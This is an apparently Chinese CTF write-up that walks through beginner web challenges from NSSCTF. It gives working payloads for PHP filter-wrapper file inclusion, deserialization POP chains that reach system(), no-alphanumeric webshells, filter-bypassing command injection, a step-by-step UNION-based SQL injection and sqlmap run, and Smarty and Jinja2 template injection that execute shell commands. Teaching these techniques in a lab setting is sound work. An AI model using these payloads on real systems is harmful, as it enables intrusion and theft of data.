NSSCTF-Web安全入门刷题
[SWPUCTF 2021 新生赛]jicao
1 |
|
传入两个参数即可
[SWPUCTF 2021 新生赛]Do_you_know_http
访问如下
浏览器不对,那么首先需要修改User-Agent
为WLLM
跟随重定向后跳转到a.php
发现来源IP
不对,那么需要修改X-Forwarded-For
字段
跟随重定向后得到最终flag
[SWPUCTF 2021 新生赛]gift_F12
确实如名字,F12
在元素资源中可以找到
[第五空间 2021]WebFTP
dirsearch
扫描之后,在readm.txt
中找到对应的超级管理员账号密码admin/admin888
登录进去之后,在phpinfo.php
中找到flag
,或者不用登录,直接/phpinfo.php
就能找到,应该是所谓非预期,下面看看预期解
同样该WebFTP
是github
上一个老框架,可以在/Readme/mytz.php
中存在敏感信息泄露漏洞
或者seay
好像可以审计出来
对应泄露为/Readme/mytz.php?act=phpinfo
[SWPUCTF 2021 新生赛]easy_md5
md5
弱比较
使用QNKCDZO
和s214587387a
即可
[SWPUCTF 2021 新生赛]include
提示传入file
参数,然后得到源码
由于最后会使用include_once
将对应file
包含进来,那么可以使用相关的php
伪协议
1 | /?file=php://filter/read=convert.base64-encode/resource=flag.php |
base64
解码后得到flag
[SWPUCTF 2021 新生赛]PseudoProtocols
首先看到提示,并且URL
中为/...?wllm=...
,很明显就是想让我们填一个东西,试试hint.php
填入
啥也没有,那么尝试用一下php
伪协议
1 | http://1.14.71.254:28530/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php |
可以看到出来了,base64
解一下查看内容
让我们访问/test2222222222222.php
主要关注如下,需要设置a
,然后其内容为I want flag
由于用的是file_get_contents
函数,那么可以使用data
数据流
1 | /test2222222222222.php?a=data://text/plain,I%20want%20flag |
得到flag
[NISACTF 2022]easyssrf
访问之后提示SSRF
那么访问一下本地网站下面的index.php
,不太行,那试试flag.php
再试试/fl4g
不太行,试试file
协议
访问一下
输出file
,这里不用管那个判断,没啥用,只要file
里面不包含file
字符串就行,那么直接/flag
就能得到
[SWPUCTF 2021 新生赛]ez_unserialize
访问啥也没有,dirsearch
一下,发现robots.txt
,访问一下
接着访问/cl45s.php
可以看到反序列化设置一下对应属性即可
1 | http://1.14.71.254:28869/cl45s.php?p=O:4:%22wllm%22:2:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:3:%22ctf%22;} |
[SWPUCTF 2021 新生赛]no_wakeup
尝试用CVE-2016-7124
1 | http://1.14.71.254:28150/class.php?p=O:6:%22HaHaHa%22:3:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:4:%22wllm%22;} |
成功
[ZJCTF 2019]NiZhuanSiWei
写过,首先用data
流和php
伪协议读取useless.php
1 | /?file=php://filter/read=convert.base64-encode/resource=useless.php&text=data://text/plain,welcome%20to%20the%20zjctf |
然后借助tostring
方法,将Flag->file
设置为flag
即可,通过反序化打印出来
1 | /?file=useless.php&text=data://text/plain,welcome%20to%20the%20zjctf&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;} |
flag
在注释中
[SWPUCTF 2021 新生赛]pop
访问之后,可以看到考pop
链,这里即为
1 | w22m->__destruct(){echo $this->w00m;} |
得到如下exp
1 |
|
结果如下
1 | O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}} |
之后由于W44m
中private
和protected
的关系,打印不出来\x00
这样的字符,所以我们需要按照规则使用%00
进行补充
private
变为
\x00className\x00memberName
public
仍然为原始的
protected
变为
\x00*\x00memberName
最终得到EXP
1 | /?w00m=O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}} |
得到flag
[NISACTF 2022]babyserialize
依据相关代码,主要是在NISA.__invoke
中有如下代码
那么只要调用到NISA.__invoke
函数,并且控制NISA.txw4ever
成员即可做到任意函数调用。
首先给出总的函数调用链
1 | TianXiWei.__wakeup->Ilovetxw.__call->four.__set->Ilovetxw.__toString->NISA.__invoke->@eval($this->txw4ever); |
接下来具体分析一下
Ilovetxw.__toString->NISA.__invoke
Ilovetxw.__toString
方法如下__invoke
性质:当尝试以调用函数的方式调用对象的时候,就会调用该方法那么通过设置
Ilovetxw.su
为某个NISA
对应对象,即可调用到NISA.__invoke
four.__set->Ilovetxw.__toString
four.__set
方法如下这里可以看到调用了
strtolower($this->a)
,查一下手册可以看到会将传入变量转化为
String
,也就是说如果传入一个对象,那么就会调用该对象的__toString
方法来将它转化为String
。那么这里就将four.a
设置为Ilovetxw
对应对象,即可调用到Ilovetxw.__toString
Ilovetxw.__call->four.__set
Ilovetxw.__call
方法如下__set
的相关性质:在给不可访问的protected
或者private
或者不存在的属性赋值的时候,会被调用这里就可以设置
Ilovetxw->huang
为four
的对象,而four
中没有fun
成员属性,所以就会调用到four->__set
。TianXiWei.__wakeup->Ilovetxw.__call
TianXiWei.__wakeup
方法如下__call
相关性质:在对象中调用一个不可访问的方法的时候,会被执行那么可以设置
TianXiwei->ext
为Ilovetxw
对象,而Ilovetxw
没有nisa
方法,就会调用到Ilovetxw->__call
方法。TianXiWei.__wakeup
对于
__wakeup
的性质不用多说,在反序列化的时候就会自动调用了。
相关总结如下
1 | @eval($this->txw4ever); |
那么最终的EXP
1 |
|
首先可以看看hint
中有啥,要将NISA->fun
设置为"show_me_flag"
结果如下
然后改掉NISA->fun
,因为hint
函数中有die
函数调用
看看根目录有啥
1 | O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A5%3A%22aaaaa%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D |
发现有错
应该是checkcheck
函数
可能是preg_match
进行了一些过滤,这里把system
变成大写就行,查看根目录
1 | O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A5%3A%22aaaaa%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A15%3A%22System%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D |
然后cat /fllllllaaag
即可,最终exp
1 |
|
[SWPUCTF 2021 新生赛]easyupload1.0
检测文件头,改一下就行了,flag
在phpinfo
里面
[SWPUCTF 2021 新生赛]easyupload2.0
检测后缀和文件头
[SWPUCTF 2021 新生赛]easyupload3.0
可以上传.htaccess
来将png
作为php
[SWPUCTF 2021 新生赛]caidao
加载了一张图片,但是一般来说,如果只加载图片,并不会能连接的
但是用蚁剑连上,才发现index.php
里面有
1 | <?php |
[SWPUCTF 2021 新生赛]easyrce
普通的shell
[SWPUCTF 2021 新生赛]babyrce
提示如下
用burpsuite
给COOKIE
添加一下admin
字段为1
访问rasalghul.php
,直接命令执行,过滤空格,用${IFS}
代替空格即可
[SWPUCTF 2021 新生赛]hardrce
命令执行,但是过滤了很多东西
但是由于是php7
,所以可以利用取反来执行命令,参考p神
的:
一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
主要结论如下:
即用python
稍微写一下就行
1 | (~%8c%86%8c%8b%9a%92)(~%93%8c%df%d0);//system('ls /') |
知道flag
名字了
1 | (~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d0%99%93%93%93%93%93%9e%9e%9e%9e%9e%9e%98%98%98%98%98%98%98);//system('cat /flllllaaaaaaggggggg') |
[SWPUCTF 2021 新生赛]finalrce
exec
直接执行命令,但是过滤了很多东西,包括ls
也过滤了,但是命令行中有比较特殊符号反引号以及\
,这个常用来连接命令,可以看到如下例子,其实是差不多的。
所以这里可以用l\s
来进行绕过,其他命令也是类似。
那么就差一个回显了,由于重定向符号>
也被禁止了,那么这里可以用到tee
命令,该命令可以通过管道符|
将前一个命令的执行结果写入到文件中,效果如下
那么就可以通过该命令来将需要命令结果写入到文件中,然后访问文件即可访问到命令结果。
1 | url=l\s%20/%20|%20tee%201.txt |
对应访问
同样道理获取flag
,但是这里还过滤了la
,所以同样道理,给flllllaaaaaaggggggg
的对应la
处加上\
符号也是一样的。
1 | url=c\at%20/flllll\aaaaaaggggggg%20|%20tee%202.txt |
访问2.txt
即可得到flag
[SWPUCTF 2021 新生赛]easy_sql
参数是wllm
,几个sql
注入常见考点
前置知识
同样的,对应sql
语句也会有注释,常用的注释有下
#
:但是在url
中该符号有特殊意义,所以使用的时候需要改成编码%23
才行--
:用的时候通常需要为--空格
形式才能正常解析,而在sql
中+
和--
连用时作用和空格类似,所以--+
成为常见的sql
注入语句,当然--%20
也是一样的。
所以这里先使用单引号'
将之闭合,然后语句最后使用--+
来将后面的多余语句进行注释,比如原语句是
1 | ...where wllm = '用户输入' and ... |
用户输入为1' order by 1--+
,那么结果即为
1 | ...where wllm = '1' order by 1--+' and ... |
原本的' and ...
这个就不会执行了,而order by 1
会顺利执行,完成相关的sql
语句注入查询。
1.判断类型
首先需要判断注入类型,常见的有字符,数字,时间,布尔等。
输入wllm=1
正常回显,但是输入wllm=1'
会显示错误,代表引号匹配不对,表明是字符型的注入。
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 |
2.字段数查询
需要知道该表有几个字段,才能进行后续的回显点查询,这里可以用到order by
来进行查询。
order by
的意思就是依据输入的字段来进行排序,这里既可以输入字段名字,也可以输入字段序号,比如下表
输入order by games_played
和输入order by 4
其效果是一样的,但是如果输入order by 5
,而该表又只有4个字段,那么就会出错,如下
可以通过这个方法来判断有几个字段,这里输入order by 4
回显错误,表明字段数为3。
3.回显点查询
可以看到输入wllm=1
是正常回显的
而xxx
和yyy
就是可能存在的回显点,那么需要判断这个回显点是在那个字段,这里就可以使用常见的select 1,2,3
这种了。
select 1,2,3
直接查询情况如下,可以看到,相当于直接创建了一个与1,2,3
有关的表,字段数为输入的数字个数,即3个,对应数据也能理解
而当和联合查询union select
相结合使用的时候,就需要输入的这些字段数和另一个表的字段数一样才会正常查询
比如某个表如下
联合查询语句
1 | SELECT * FROM activity union select 1,2,3,4; |
相当于把两个表进行合并,而如果字段数不一致,就会出错,比如减去一个字段数
1 | SELECT * FROM activity UNION SELECT 1,2,3; |
可以看到查询字段数不一致的错误,这里也就是为什么之前需要判断表有几个字段的原因。
结合查询
把前一张表置空,也就是where wllm=xx
,xx
不存在的时候,前一张表查出来自然就是空的。
然后再联合查询select 1,2,3...
,依据返回数据,判断回显点在哪个字段
1 | wllm=xx' union select 1,2,3--+ |
即可知道回显的数据在第2,3两个字段,那么就依据这两个字段,进行相关数据查询,这里就从第2个字段入手。
4.查询库名
利用database()
函数来查询
1 | wllm=xx' union select 1,database(),3--+ |
库名为test_db
5.查询表名
利用group_concat()
函数来查询
1 | wllm=xx' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test_db'--+ |
可以看到,这里想要提供库的名字test_db
,所以之前需要查询到库名。
这里也有一点前置知识,也就是information_schema
是mysql
中的一个信息数据库,保存着关于MySQL
服务器所维护的所有其他数据库的信息。比如数据库名,数据库的表,表栏的数据类型与访问权限等。
参考:(48条消息) mysql自带的information_schema.tables是什么?_你的小伙伴啊的博客-CSDN博客
那么即可查询到
可以看到存在两个表为test_tb
和users
6.查询字段名
方法和查询表名类似,需要提供表名,之前查表名的原因
1 | wllm=-xx' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='test_tb'--+ |
结果如下
7.查询数据
方法类似,查询flag
内容
1 | wllm=xx' union select 1,group_concat(flag),3 from test_tb--+ |
得到最终flag
SQLMAP
1 | python .\sqlmap.py -u "http://1.14.71.254:28374/?wllm=1" -dbs |
[CISCN 2019华东南]Web11
看到这两个,猜测是smarty
的Server Side Template Injection
即SSTI
模板注入,这个就需要一些前置知识了。
前置知识
简单安装使用:(48条消息) windows环境下smarty安装最简明教程_enjoyxp的博客-CSDN博客
参考:Smarty 模板注入与沙箱逃逸-安全客 - 安全资讯平台 (anquanke.com)
首先应该是为什说smarty
能够进行模板注入,其实主要在于它的string
模板,也就是如下的代码
1 | $smarty->display("string:{phpinfo()}"); |
前期调用链
前期会有一些链子调用到关键函数
1 | display |
模板创建
当最开始没有进行该模板创建时,会创建模板,在前期调用链中还有后续的一些链子
1 | Smarty_Template_Compiled.compileTemplateSource |
下面分析更多
调用到Smarty_Template_Compiled.compileTemplateSource
函数,然后在write
函数中
回调到Smarty_Internal_TemplateCompilerBase.compileTemplate
里面调用create
函数再回调到Smarty_Internal_TemplateCompilerBase.compileTemplateSource
函数
该函数最终会调用getContent
函数,依据不同的handler
调用到不同类的处理函数中,比如string
对应的类就是Smarty_Internal_Resource_String
,会调用到其decode
函数进行相关内容处理
比如这里的这里提到的例子里面的string
就是{phpinfo()}
,相关处理后就直接返回内容,然后在后续的操作中,将该内容连同一些数据写入到指定的templates_c
文件夹中hash
之后的一个php
文件,这里就会如下结果
1 |
|
然后在后续的Smarty_Template_Compiled.loadCompiledTemplate
中会对该文件进行包含,执行其中的php
代码,这里可能是因为smarty
一些机制原因,必定在包含的时候能够执行到里面对应的那个函数。
模板调用
当存在该模板,也就是string:{phpinfo()}
对应的模板,就会在Smarty_Template_Compiled.process
函数中,也就是如下红框中,直接进行对应的模板文件包含,同样也是可以执行代码的。
其他类模板
前面提到的是string
类的模板,同样也可能会有自定义的,比如如下
参考:[CVE-2017-1000480]Smarty <= 3.1.32 php代码执行 漏洞分析 | Chybeta
1 | class test extends Smarty_Resource_Custom |
这里的$name
就是对应的{phpinfo()}
,将其赋值给$source
从而在后续的smarty
处理中形成对应的content
,因为在write
过程中之前提到会有getContent
的调用,使用自定义类Smarty_Resource_Custom
就会调用到该类的fetch
函数,传入的source
就是content
,从而为content
赋值。
漏洞形式
常见的漏洞形式如下
1 | $data = $_REQUEST['data']; |
这样data
就是可控的,那么相关的代码执行就是水到渠成了。
题目
相对于这道题就可以猜测了,大概就是会接收我们的ip
,然后和它的模板进行拼接然后输出,其实测试一下就可以了。
很明显,可以代码执行,即可完成
1 | {system('ls /')} |
具体看看代码,放个木马上去下载一下
1 |
|
可以看到$template_string
中包含了我们可以控制的$real_ip
[NISACTF 2022]midlevel
和上一道题一模一样,不太懂意义在哪里
[NISACTF 2022]is secret
试试输入secret
看来还得输入参数
随便输点,发现报错了
依据报错信息可以判断用的是python2
下flask
,报错信息中有比较关键的部分
1 | File "/app/app.py", line 35, in secret |
这个函数render_template_string
通常和SSTI
模板注入有关,和之前的php
中的相关模板注入有点类似,而且在火狐浏览器中居然可以点开查看代码,在edge
和chrome
都不行
可以看到,那个secret
应该是我们控制的,因为没有secret
的时候,确实输出了那个文字,有了就会输出其他的。
中间看代码,将输入的secret
通过rc4
进行解密,那个HereIsTreasure
应该就是密钥,然后字节放入render_template_string
函数中,那么就肯定存在SSTI
模板注入
前置知识
了解flask
的SSTI
还是需要一些前置知识的,如下代码示例
1 |
|
当访问ip:port/test
时,出现如下情况
返回了一个类名字,这个其实就相当于在python
里面执行了'abc'.__class__
那么对应的,这个标签{{xxx}}
,修改里面的xxx
,即可获得任意python
代码执行的能力。但是这里的代码执行和正常的python
还是有点区别的,比如如下
1 |
|
就会出现如下情况
原因就在于使用的模板引擎是jinja2
,它有自己的一套规则,基本的语法如下
- 控制结构
{% %}
- 变量取值
{{ }}
- 注释
{# #}
那么将刚刚的示例修改一下
1 |
|
访问之后效果如下
可以看到相当于执行了对应的jinja2
代码,那么针对flask
的SSTI
模板注入,其实质就是执行jinja2
代码。
而相对于jinja2
代码执行,用的最多的就是变量{{i}}
取值,利用变量取值就可以获取到python
里面各式各样的类和其中对应的方法,那么传入相关参数就能调用到相关的python
代码了呀。
比如最开始的'abc'.__class__
,可以通过它来获取到基类object
然后获取到后面的对应所有需要的类
而很常用的popen
函数,就会在某个类里存在,那么就需要去寻找,比如在python3
里面有'abc'.__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']
那么对应传入参数就可以执行函数了,常用形式如下
1 | 'abc'.__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('ipconfig').read() |
这些相关常用属性也有相关总结,参考:
(48条消息) SSTI知识点与题型_zbbjya的博客-CSDN博客_ssti大全
python 沙箱逃逸与SSTI ~ Misaki’s Blog (misakikata.github.io)
1 | __class__ 类的一个内置属性,表示实例对象的类。 |
题目
那么有了前置知识,这个就很好做了,利用相关的payload
即可,在flask
中有一个很常用的config
1 |
|
上面总结也有提到,如下payload
1 | config.__class__.__init__.__globals__['os'].popen('ls').read() |
但是这里还存在一个rc4
加解密,使用不知道哪位师傅的脚本即可解决
1 | import base64 |
题外话
在获取到网站源码之后,发现其实是有黑名单过滤的
1 |
|
但是他这个过滤,其实只是给我们的输入加了一些字符,比如里面有class
,就会变成'class' is not allowed. Secret is xxxx
,而在jinja2
里,对于普通的字符,即不符合语法规则的字符,是会原样输出的,比如如下代码
1 |
|
访问结果如下
其实对于代码执行一点影响没有,相当于只是一个网站的文本字符而已。
最终payload
如下
1 | {{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}} |